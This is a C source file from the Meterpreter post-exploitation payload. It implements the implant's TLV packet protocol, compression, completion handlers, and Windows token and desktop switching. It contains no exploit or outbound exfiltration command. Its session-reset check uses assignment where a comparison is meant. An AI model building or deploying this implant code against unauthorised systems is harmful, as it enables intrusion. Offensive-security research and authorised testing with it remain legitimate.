/*!
 * @file core.c
 * @brief Definitions of core components of the Meterpreter suite.
 * @details Much of what exists in the core files is used in almost every area
 *          of the Meterpreter code base, and hence it's very important. Don't
 *          change this stuff unless you know what you're doing!
 */
#include "common.h"

#ifdef _WIN32
#ifdef USE_WINHTTP
#include <winhttp.h>
#define packet_transmit_via_http_lib packet_transmit_via_http_winhttp
#else
#include <wininet.h>
#define packet_transmit_via_http_lib packet_transmit_via_http_wininet
#endif
#endif

DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index,
		TlvType type, Tlv *tlv);

/*! @brief List element that contains packet completion routine details. */
typedef struct _PacketCompletionRoutineEntry
{
	LPCSTR                               requestId;   ///< Id of the request.
	PacketRequestCompletion              handler;     ///< Handler to call on completion.
	struct _PacketCompletionRoutineEntry *next;       ///< Pointer to the next compleiont routine entry.
} PacketCompletionRoutineEntry;

/*!
 * @brief Reference to the list of packet completion routines.
 * @details This pointer is a singularly-linked list which contains references
 *          to PacketCompletionRouteEntry items, each of which is processed
 *          when packet_call_completion_handlers is invoked.
 */
PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL;

/*!
 * @brief Print a remote console message.
 * @details Transmit a single string to the remote connection with instructions
 *          to print it to the screen or whatever medium has been established.
 * @param remote Pointer to the \c Remote instance that the message should be
                 sent to
 * @param fmt Format string.
 * @param ... Varargs that will be printed to the \c fmt format string.
 * @return Indication of success or failure.
 * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
 * @retval ERROR_SUCCESS Transmission was successful.
 */
DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... )
{
	Packet *request = NULL;
	CHAR buf[8192];
	va_list ap;
	DWORD res;

	do
	{
		va_start(ap, fmt);
		_vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
		va_end(ap);

		// Create a message with the 'core_print' method
		if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, "core_console_write")))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Add the string to print
		if ((res = packet_add_tlv_string(request, TLV_TYPE_STRING, buf)) != NO_ERROR)
			break;

		res = packet_transmit(remote, request, NULL);

	} while (0);

	// Cleanup on failure
	if (res != ERROR_SUCCESS)
	{
		if (request)
			packet_destroy(request);
	}

	return res;
}

/*!
 * @todo I have no idea why this is here, need someone else to explain.
 */
HANDLE core_update_thread_token( Remote *remote, HANDLE token )
{
#ifdef _WIN32
	HANDLE temp = NULL;

	lock_acquire( remote->lock );
	do
	{
		temp = remote->hThreadToken;

		// A NULL token resets the state back to the server token
		if(! token)
			token = remote->hServerToken;

		// Assign the thread token
		remote->hThreadToken = token;

		// Close the old token if its not one of the two active tokens
		if( temp && temp != remote->hServerToken && temp != remote->hThreadToken ) {
			CloseHandle(temp);
		}
	} while(0);

	lock_release( remote->lock );
#else
	/*
	 * XXX add POSIX implementation
	 */
#endif
	return(token);
}

/*!
 * @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
 * @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API
 *          to break out of sessions.
 * @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup.
 * @param remote Pointer to the remote connection.
 * @param dwSessionID ID of the session which contains the window station in \c cpStationName.
 * @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName.
 * @param cpDesktopName Name of the desktop to switch to.
 */
VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName )
{
#ifdef _WIN32
	DWORD temp_session  = -1;
	char * temp_station = NULL;
	char * temp_desktop = NULL;

	lock_acquire( remote->lock );

	do
	{
		temp_session = remote->dwCurrentSessionId;
		// A session id of -1 resets the state back to the servers real session id
		if( dwSessionID = -1 )
			dwSessionID = remote->dwOrigSessionId;
		// Assign the new session id
		remote->dwCurrentSessionId = dwSessionID;

		temp_station = remote->cpCurrentStationName;
		// A NULL station resets the station back to the origional process window station
		if( !cpStationName )
			cpStationName = remote->cpOrigStationName;
		// Assign the current window station name to use
		remote->cpCurrentStationName = _strdup( cpStationName );
		// free the memory for the old station name  if its not one of the two active names
		if( temp_station && temp_station != remote->cpOrigStationName && temp_station != remote->cpCurrentStationName )
			free( temp_station );

		temp_desktop = remote->cpCurrentDesktopName;
		// A NULL station resets the desktop back to the origional process desktop
		if( !cpDesktopName )
			cpDesktopName = remote->cpOrigDesktopName;
		// Assign the current window desktop name to use
		remote->cpCurrentDesktopName = _strdup( cpDesktopName );
		// free the memory for the old desktop name if its not one of the two active names
		if( temp_desktop && temp_desktop != remote->cpOrigDesktopName && temp_desktop != remote->cpCurrentDesktopName )
			free( temp_desktop );

	} while( 0 );

	lock_release( remote->lock );
#endif
}

/*!
 * @brief Create a packet of a given type (request/response) and method.
 * @param type The TLV type that this packet represents.
 * @param method TLV method type (can be \c NULL).
 * @return Pointer to the newly created \c Packet.
 */
Packet *packet_create( PacketTlvType type, LPCSTR method )
{
	Packet *packet = NULL;
	BOOL success = FALSE;

	do
	{
		if (!(packet = (Packet *)malloc(sizeof(Packet))))
			break;

		memset(packet, 0, sizeof(Packet));

		// Initialize the header length and message type
		packet->header.length = htonl(sizeof(TlvHeader));
		packet->header.type   = htonl((DWORD)type);

		// Initialize the payload to be blank
		packet->payload       = NULL;
		packet->payloadLength = 0;

		// Add the method TLV if provided
		if (method)
		{
			if (packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS)
				break;
		}

		success = TRUE;

	} while (0);

	// Clean up the packet on failure
	if ((!success) && (packet))
	{
		packet_destroy(packet);

		packet = NULL;
	}

	return packet;
}

/*!
 * @brief Create a packet that is used to contain a subgroup.
 * @returns An instance of a packet to use as a group container.
 * @remarks Group packets can be used to arbitrarily nest groupings prior to
 *          sending the packet to the client.
 */
Packet* packet_create_group()
{
	Packet* packet = NULL;
	do
	{
		if (!(packet = (Packet*)malloc(sizeof(Packet))))
		{
			break;
		}

		memset(packet, 0, sizeof(Packet));

		// we don't need to worry about the TLV header at this point
		// so we'll ignore it

		// Initialize the payload to be blank
		packet->payload = NULL;
		packet->payloadLength = 0;

		return packet;
	} while (0);

	if (packet)
	{
		free(packet);
	}
	return NULL;
}

/*!
 * @brief Add a group packet to the parent packet.
 * @param packet Pointer to the container packet that the group is to be added to.
 * @param type The type of group packet being added.
 * @param groupPacket the packet containing the group data (created by `packet_create_group`).
 * @returns Indication of success or failure.
 * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds.
 */
DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket)
{
	DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength);
	if (result == ERROR_SUCCESS)
	{
		packet_destroy(groupPacket);
		return ERROR_SUCCESS;
	}

	return result;
}

/*!
 * @brief Create a response packet from a request.
 * @details Create a response packet from a request, referencing the requestors
 * message identifier.
 * @param request The request \c Packet to build a response for.
 * @return Pointer to a new \c Packet.
 */
Packet *packet_create_response( Packet *request )
{
	Packet *response = NULL;
	Tlv method, requestId;
	BOOL success = FALSE;
	PacketTlvType responseType;

	if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST)
		responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE;
	else
		responseType = PACKET_TLV_TYPE_RESPONSE;

	do
	{
		// Get the request TLV's method
		if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS)
			break;

		// Try to allocate a response packet
		if (!(response = packet_create(responseType, (PCHAR)method.buffer)))
			break;

		// Get the request TLV's request identifier
		if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
			break;

		// Add the request identifier to the packet
		packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer);

		success = TRUE;

	} while (0);

	// Cleanup on failure
	if (!success)
	{
		if (response)
			packet_destroy(response);

		response = NULL;
	}

	return response;
}

/*!
 * @brief Destroy the packet context and the payload buffer.
 * @param packet Pointer to the \c Packet to destroy.
 */
VOID packet_destroy( Packet * packet )
{
	if( packet == NULL )
		return;

	if( packet->payload )
	{
		memset( packet->payload, 0, packet->payloadLength );
		free( packet->payload );
	}

	if( packet->decompressed_buffers )
	{
		while( TRUE )
		{
			DECOMPRESSED_BUFFER * buf = list_pop( packet->decompressed_buffers );
			if( !buf )
				break;

			if( buf->buffer )
			{
				memset( buf->buffer, 0, buf->length );
				free( buf->buffer );
			}

			free( buf );
		}

		list_destroy( packet->decompressed_buffers );
	}

	memset( packet, 0, sizeof(Packet) );

	free( packet );
}

/*!
 * @brief Add a string value TLV to a packet, including the \c NULL terminator.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param str Pointer to the string value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
{
	return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1);
}

/*!
 * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param str Pointer to the wide-string value to add to the packet.
 * @param strLength of the string (not including the NULL terminator).
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength)
{
	DWORD dwResult;
	LPSTR lpStr = (LPSTR)malloc(strLength + 1);

	if (lpStr)
	{
		wcstombs(lpStr, str, strLength);
		lpStr[strLength] = 0;
		dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1);
		free(lpStr);
	}
	else
	{
		dwResult = ERROR_NOT_ENOUGH_MEMORY;
	}

	return dwResult;
}

/*!
 * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param str Pointer to the wide-string value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str)
{
	return packet_add_tlv_wstring_len(packet, type, str, wcslen(str));
}

/*!
 * @brief Add a unsigned integer value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_uint( Packet *packet, TlvType type, UINT val )
{
	val = htonl(val);

	return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val));
}

/*!
 * @brief Add a quad-work value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_qword( Packet *packet, TlvType type, QWORD val )
{
	val = htonq( val );

	return packet_add_tlv_raw( packet, type, (PUCHAR)&val, sizeof(QWORD) );
}


/*!
 * @brief Add a boolean value TLV to a packet.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param val The value to add to the packet.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val)
{
	return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1);
}

/*!
 * @brief Add a group TLV to a packet.
 * @details A TLV group is a TLV that contains multiple sub-TLVs.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param entries Pointer to the array of TLV entries to add.
 * @param numEntries Count of the number of TLV entries in the \c entries array.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_group( Packet *packet, TlvType type, Tlv *entries, DWORD numEntries )
{
	DWORD totalSize = 0,
		offset = 0,
		index = 0,
		res = ERROR_SUCCESS;
	PCHAR buffer = NULL;

	// Calculate the total TLV size.
	for (index = 0; index < numEntries; index++)
		totalSize += entries[index].header.length + sizeof(TlvHeader);

	do
	{
		// Allocate storage for the complete buffer
		if (!(buffer = (PCHAR)malloc(totalSize)))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Copy the memory into the new buffer
		for (index = 0; index < numEntries; index++)
		{
			TlvHeader rawHeader;

			// Convert byte order for storage
			rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader));
			rawHeader.type   = htonl((DWORD)entries[index].header.type);

			// Copy the TLV header & payload
			memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader));
			memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length);

			// Update the offset into the buffer
			offset += entries[index].header.length + sizeof(TlvHeader);
		}

		// Now add the TLV group with its contents populated
		res = packet_add_tlv_raw(packet, type, buffer, totalSize);

	} while (0);

	// Free the temporary buffer
	if (buffer)
		free(buffer);

	return res;
}

/*!
 * @brief Add an array of TLVs to a packet.
 * @param packet Pointer to the packet to add the values to.
 * @param entries Pointer to the array of TLV entries to add.
 * @param numEntries Count of the number of TLV entries in the \c entries array.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlvs( Packet *packet, Tlv *entries, DWORD numEntries )
{
	DWORD index;

	for (index = 0; index < numEntries; index++)
		packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length);

	return ERROR_SUCCESS;
}

/*!
 * @brief Add a raw value TLV to a packet, with compression.
 * @details The value given in the \c buf parameter will be compressed with zlib.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param buf Pointer to the data that is to be compressed and added.
 * @param length Number of bytes in \c buf to compress.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_raw_compressed( Packet *packet, TlvType type, LPVOID buf, DWORD length )
{
	DWORD result            = ERROR_SUCCESS;
	DWORD headerLength      = sizeof( TlvHeader );
	PUCHAR newPayload       = NULL;
	BYTE * compressed_buf   = NULL;
	DWORD realLength        = 0;
	DWORD newPayloadLength  = 0;
	DWORD compressed_length = (DWORD)( 1.01 * ( length + 12 ) + 1 );

	do
	{
		compressed_buf = (BYTE *)malloc( compressed_length );
		if( !compressed_buf )
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		if( compress2( compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION ) != Z_OK )
		{
			result = ERROR_UNSUPPORTED_COMPRESSION;
			break;
		}

		realLength       = compressed_length + headerLength;
		newPayloadLength = packet->payloadLength + realLength;

		// Allocate/Reallocate the packet's payload
		if( packet->payload )
			newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength);
		else
			newPayload = (PUCHAR)malloc(newPayloadLength);

		if( !newPayload )
		{
			result = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Populate the new TLV
		((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength);
		((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type);

		memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length );

		// Update the header length and payload length
		packet->header.length = htonl(ntohl(packet->header.length) + realLength);
		packet->payload       = newPayload;
		packet->payloadLength = newPayloadLength;

		result = ERROR_SUCCESS;

	} while( 0 );

	if( compressed_buf )
		free( compressed_buf );

	return result;
}

/*!
 * @brief Add an arbitrary raw value TLV to a packet.
 * @details The value given in the \c buf parameter will _not_ be compressed.
 * @param packet Pointer to the packet to add the value to.
 * @param type TLV type for the value.
 * @param buf Pointer to the data that is to be added.
 * @param length Number of bytes in \c buf to add.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
 */
DWORD packet_add_tlv_raw( Packet *packet, TlvType type, LPVOID buf, DWORD length )
{
	DWORD headerLength     = sizeof(TlvHeader);
	DWORD realLength       = length + headerLength;
	DWORD newPayloadLength = packet->payloadLength + realLength;
	PUCHAR newPayload      = NULL;

	// check if this TLV is to be compressed...
	if( ( type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
		return packet_add_tlv_raw_compressed( packet, type, buf, length );

	// Allocate/Reallocate the packet's payload
	if (packet->payload)
		newPayload = (PUCHAR)realloc( packet->payload, newPayloadLength );
	else
		newPayload = (PUCHAR)malloc( newPayloadLength );

	if (!newPayload)
		return ERROR_NOT_ENOUGH_MEMORY;

	// Populate the new TLV
	((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength);
	((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type);

	memcpy( newPayload + packet->payloadLength + headerLength, buf, length );

	// Update the header length and payload length
	packet->header.length = htonl(ntohl(packet->header.length) + realLength);
	packet->payload       = newPayload;
	packet->payloadLength = newPayloadLength;

	return ERROR_SUCCESS;
}

/*!
 * @brief Check if a TLV is NULL-terminated.
 * @details The function checks the data within the range of bytes specified by
 *         the \c length property of the TLV \c header.
 * @param tlv Pointer to the TLV to check.
 * @return Indication of whether the TLV is terminated with a \c NULL byte or not.
 * @retval ERROR_SUCCESS A \c NULL byte is present.
 * @retval ERROR_NOT_FOUND No \c NULL byte is present.
 * @sa TlvHeader
 */
DWORD packet_is_tlv_null_terminated( Tlv *tlv )
{
	if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0))
		return ERROR_NOT_FOUND;

	return ERROR_SUCCESS;
}

/*!
 * @brief Get the TLV type of the packet.
 * @param packet Pointer to the packet to get the type from.
 * @return \c PacketTlvType for the given \c Packet.
 */
PacketTlvType packet_get_type( Packet *packet )
{
	return (PacketTlvType)ntohl( packet->header.type );
}

/*!
 * @brief Get the TLV meta-type of the packet.
 * @param packet Pointer to the packet to get the meta-type from.
 * @return \c TlvMetaType for the given \c Packet.
 */
TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv )
{
	return TLV_META_TYPE_MASK( tlv->header.type );
}

/*!
 * @brief Get a TLV of a given type from the packet.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get.
 * @param tlv Pointer to the TLV that will receive the data.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_FOUND Unable to find the TLV.
 */
DWORD packet_get_tlv( Packet *packet, TlvType type, Tlv *tlv )
{
	return packet_enum_tlv( packet, 0, type, tlv );
}

/*!
 * @brief Get a string TLV from the packet.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get.
 * @param tlv Pointer to the TLV that will receive the data.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_FOUND Unable to find the TLV or the string
 *                         value is not NULL-terminated.
 */
DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv )
{
	DWORD res;

	if ((res = packet_get_tlv( packet, type, tlv )) == ERROR_SUCCESS)
		res = packet_is_tlv_null_terminated( tlv );

	return res;
}

/*!
 * @brief Get a TLV of a given type from a group TLV in the packet.
 * @param packet Pointer to the packet to get the TLV from.
 * @param group Pointer to the group TLV to get the value from.
 * @param type Type of TLV to get.
 * @param tlv Pointer to the TLV that will receive the data.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_FOUND Unable to find the TLV.
 */
DWORD packet_get_tlv_group_entry( Packet *packet, Tlv *group, TlvType type, Tlv *entry )
{
	return packet_find_tlv_buf( packet, group->buffer, group->header.length, 0, type, entry );
}

/*!
 * @brief Enumerate a TLV (with the option of constraining its type).
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @param tlv Pointer to the TLV that will receive the data.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_FOUND Unable to find the TLV.
 */
DWORD packet_enum_tlv( Packet *packet, DWORD index, TlvType type, Tlv *tlv )
{
	return packet_find_tlv_buf( packet, packet->payload, packet->payloadLength, index, type, tlv );
}

/*!
 * @brief Get the string value of a TLV.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @return Pointer to the string value, if found.
 * @retval NULL The string value was not found in the TLV.
 * @retval Non-NULL Pointer to the string value.
 */
PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type )
{
	Tlv stringTlv;
	PCHAR string = NULL;

	if (packet_get_tlv_string( packet, type, &stringTlv ) == ERROR_SUCCESS)
		string = (PCHAR)stringTlv.buffer;

	return string;
}

/*!
 * @brief Get the unsigned int value of a TLV.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @return The value found in the TLV.
 * @todo On failure, 0 is returned. We need to make sure this is the right
 *       thing to do because 0 might also be a valid value.
 */
UINT packet_get_tlv_value_uint( Packet *packet, TlvType type )
{
	Tlv uintTlv;

	if ((packet_get_tlv( packet, type, &uintTlv ) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD)))
		return 0;

	return ntohl(*(LPDWORD)uintTlv.buffer);
}

/*!
 * @brief Get the raw value of a TLV.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @return The value found in the TLV.
 */
BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type )
{
	Tlv tlv;

	if( packet_get_tlv( packet, type, &tlv ) != ERROR_SUCCESS )
		return NULL;

	return tlv.buffer;
}

/*!
 * @brief Get the quad-word value of a TLV.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @return The value found in the TLV.
 * @todo On failure, 0 is returned. We need to make sure this is the right
 *       thing to do because 0 might also be a valid value.
 */
QWORD packet_get_tlv_value_qword( Packet *packet, TlvType type )
{
	Tlv qwordTlv;

	if( ( packet_get_tlv( packet, type, &qwordTlv ) != ERROR_SUCCESS ) || ( qwordTlv.header.length < sizeof(QWORD) ) )
		return 0;

	return ntohq( *(QWORD *)qwordTlv.buffer );
}

/*!
 * @brief Get the boolean value of a TLV.
 * @param packet Pointer to the packet to get the TLV from.
 * @param type Type of TLV to get (optional).
 * @return The value found in the TLV.
 * @todo On failure, FALSE is returned. We need to make sure this is the right
 *       thing to do because FALSE might also be a valid value.
 */
BOOL packet_get_tlv_value_bool( Packet *packet, TlvType type )
{
	Tlv boolTlv;
	BOOL val = FALSE;

	if (packet_get_tlv( packet, type, &boolTlv ) == ERROR_SUCCESS)
		val = (BOOL)(*(PCHAR)boolTlv.buffer);

	return val;
}

/*!
 * @brief Add an exception to a packet.
 * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING
 *          are added to the packet.
 * @param packet Pointer to the packet to add the detail to.
 * @param code Exception code.
 * @param fmt Form string for the exception string.
 * @param ... Varargs for the format string.
 * @return Indication of success or failure.
 * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
 * @retval ERROR_SUCCESS Transmission was successful.
 */
DWORD packet_add_exception( Packet *packet, DWORD code, PCHAR fmt, ... )
{
	DWORD codeNbo = htonl(code);
	char buf[8192];
	Tlv entries[2];
	va_list ap;

	// Ensure null termination
	buf[sizeof(buf) - 1] = 0;

	va_start(ap, fmt);
	_vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
	va_end(ap);

	// Populate the TLV group array
	entries[0].header.type   = TLV_TYPE_EXCEPTION_CODE;
	entries[0].header.length = 4;
	entries[0].buffer        = (PUCHAR)&codeNbo;
	entries[1].header.type   = TLV_TYPE_EXCEPTION_STRING;
	entries[1].header.length = (DWORD)strlen(buf) + 1;
	entries[1].buffer        = (PUCHAR)buf;

	// Add the TLV group, or try to at least.
	return packet_add_tlv_group( packet, TLV_TYPE_EXCEPTION, entries, 2 );
}

/*!
 * @brief Get the result code from the packet
 * @param packet Pointer to the packet to get thget the result code from
 * @return The result code.
 */
DWORD packet_get_result( Packet *packet )
{
	return packet_get_tlv_value_uint( packet, TLV_TYPE_RESULT );
}

/*
 * Enumerate TLV entries in a buffer until hitting a given index (optionally for a given type as well).
 */
/*!
 * @brief Enumerate TLV entries until hitting a given index or type.
 * @details This function will iterate through the given payload until one of the following conditions is true:
 *             - The end of the payload is encountered
 *             - The specified index is reached
 *             - A TLV of the specified type is reached
 *
 *          If the first condition is met, the function returns with a failure.
 * @param packet Pointer to the packet to get the TLV from.
 * @param payload Pointer to the payload to parse.
 * @param index Index of the TLV entry to find (optional).
 * @param type Type of TLV to get (optional).
 * @param tlv Pointer to the TLV that will receive the data.
 * @return Indication of success or failure.
 * @retval ERROR_SUCCESS The operation completed successfully.
 * @retval ERROR_NOT_FOUND Unable to find the TLV.
 */
DWORD packet_find_tlv_buf( Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv )
{
	DWORD currentIndex = 0;
	DWORD offset = 0, length = 0;
	BOOL found = FALSE;
	PUCHAR current;

	memset(tlv, 0, sizeof(Tlv));

	do
	{
		// Enumerate the TLV's
		for( current = payload, length = 0 ; !found && current ; offset += length, current += length )
		{
			TlvHeader *header    = (TlvHeader *)current;
			TlvType current_type = TLV_TYPE_ANY; // effectively '0'

			if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload))
				break;

			// TLV's length
			length = ntohl(header->length);

			// Matching type?
			current_type = (TlvType)ntohl( header->type );

			// if the type has been compressed, temporarily remove the compression flag as compression is to be transparent.
			if( ( current_type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
				current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED);

			// check if the types match?
			if( (current_type != type) && (type != TLV_TYPE_ANY) )
				continue;

			// Matching index?
			if (currentIndex != index)
			{
				currentIndex++;
				continue;
			}

			if ((current + length > payload + payloadLength) || (current < payload))
				break;

			tlv->header.type   = ntohl(header->type);
			tlv->header.length = ntohl(header->length) - sizeof(TlvHeader);
			tlv->buffer        = payload + offset + sizeof(TlvHeader);

			if( ( tlv->header.type & TLV_META_TYPE_COMPRESSED ) == TLV_META_TYPE_COMPRESSED )
			{
				DECOMPRESSED_BUFFER * decompressed_buf = NULL;

				do
				{
					decompressed_buf = (DECOMPRESSED_BUFFER *)malloc( sizeof(DECOMPRESSED_BUFFER) );
					if( !decompressed_buf )
						break;

					// the first DWORD in a compressed buffer is the decompressed buffer length.
					decompressed_buf->length = ntohl( *(DWORD *)tlv->buffer );
					if( !decompressed_buf->length )
						break;

					decompressed_buf->buffer = (BYTE *)malloc( decompressed_buf->length );
					if( !decompressed_buf->buffer )
						break;

					tlv->header.length -= sizeof( DWORD );
					tlv->buffer += sizeof( DWORD );

					if( uncompress( (Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length ) != Z_OK )
						break;

					tlv->header.type   = tlv->header.type ^ TLV_META_TYPE_COMPRESSED;
					tlv->header.length = decompressed_buf->length;
					tlv->buffer        = (PUCHAR)decompressed_buf->buffer;

					if( !packet->decompressed_buffers )
						packet->decompressed_buffers = list_create();

					if( !packet->decompressed_buffers )
						break;

					// each packet has a list of decompressed buffers which is used to
					// wipe and fee all decompressed buffers upon the packet being destroyed.
					list_push( packet->decompressed_buffers, decompressed_buf );

					found = TRUE;

				} while( 0 );

				if( !found && decompressed_buf )
				{
					if( decompressed_buf->buffer )
						free( decompressed_buf->buffer );
					free( decompressed_buf );
				}
			}
			else
			{
				found = TRUE;
			}
		}

	} while (0);

	return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}

/*!
 * @brief Add a completion routine for a given request identifier.
 * @return Indication of success or failure.
 * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance.
 * @retval ERROR_SUCCESS Addition was successful.
 */
DWORD packet_add_completion_handler( LPCSTR requestId, PacketRequestCompletion *completion )
{
	PacketCompletionRoutineEntry *entry;
	DWORD res = ERROR_SUCCESS;

	do
	{
		// Allocate the entry
		if (!(entry = (PacketCompletionRoutineEntry *)malloc( sizeof(PacketCompletionRoutineEntry) )))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Copy the completion routine information
		memcpy( &entry->handler, completion, sizeof(PacketRequestCompletion) );

		// Copy the request identifier
		if (!(entry->requestId = _strdup( requestId )))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;

			free(entry);

			break;
		}

		// Add the entry to the list
		entry->next                 = packetCompletionRoutineList;
		packetCompletionRoutineList = entry;

	} while (0);

	return res;
}

/*
 */
/*!
 * @brief Call the register completion handler(s) for the given request identifier.
 * @details Only those handlers that match the given request are executed.
 * @param remote Pointer to the \c Remote instance for this call.
 * @param response Pointer to the response \c Packet.
 * @param requestId ID of the request to execute the completion handlers of.
 * @return Indication of success or failure.
 * @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request.
 * @retval ERROR_SUCCESS Execution was successful.
 */
